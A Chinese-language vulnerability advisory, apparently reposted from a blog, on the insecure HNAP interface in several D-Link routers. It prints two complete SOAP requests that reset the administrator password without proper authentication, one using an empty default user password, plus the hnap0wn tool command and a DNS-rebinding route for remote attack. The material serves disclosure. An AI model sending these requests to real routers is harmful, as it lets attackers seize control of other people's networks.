Hacking D-Link Routers With HNAP

漏洞概述

多款D-Link路由器存在HNAP协议不安全实现,导致非授权和越权访问设置漏洞

可以被本地和远程攻击

影响产品

支持HNAP协议的多款D-Link路由器

1) DI-524 hardware version C1, firmware version 3.23

2) DIR-628 hardware version B2, firmware versions 1.20NA and 1.22NA

3) DIR-655 hardware version A1, firmware version 1.30EA

漏洞描述

HNAP是一个基于SOAP的协议,提供网络设备的管理接口。D-Link安装不需要用HNAP,任何SOAP请求会被HNAP协议解析。

其中GetDeviceSetting的soap请求可以不需要认证就可执行。

构造修改管理员密码的soap请求

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
Content-Length: 453
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

在DI-524旧模型中,对soap的操作需要授权,允许administrator和user用户,其中user默认密码为空

POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
Content-Length: 453
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

运行后导致administrator用户密码修改

漏洞POC

HNAP0wn工具,包含预生成的hnap xml payload

1)用新管理员密码编辑 xml/SetDeviceSettings.xml文件

2)使用hnap0wn发送xml

$ ./hnap0wn 192.168.0.1 xml/SetDeviceSettings.xml

攻击方式

内网用户发送soap请求修改管理员密码

远程用户无法直接访问hnap接口,可以采用dns重定向攻击,用JavaScript触发路由器XMLHttpRequests,当内网用户访问恶意页面时,触发此漏洞。

漏洞影响

验证码机制本意为组织恶意软件自动化的登录尝试,此场景中恶意软件可以尝试访问soap接口而不是解决路由界面的验证码。

内网用户无需知道管理员,不需要解决验证码问题就可以用此漏洞修改管理密码。

外部用户诱导内网用户访问构造的恶意界面,触发对hnap接口的攻击

漏洞修复

暂无可行性建议

参考资料

http://www.dslreports.com/r0/download/1507288~0882e5be2ed7aed09dd0e1f8b4703deb/dlink_hnap_captcha.pdf

您可能还喜欢...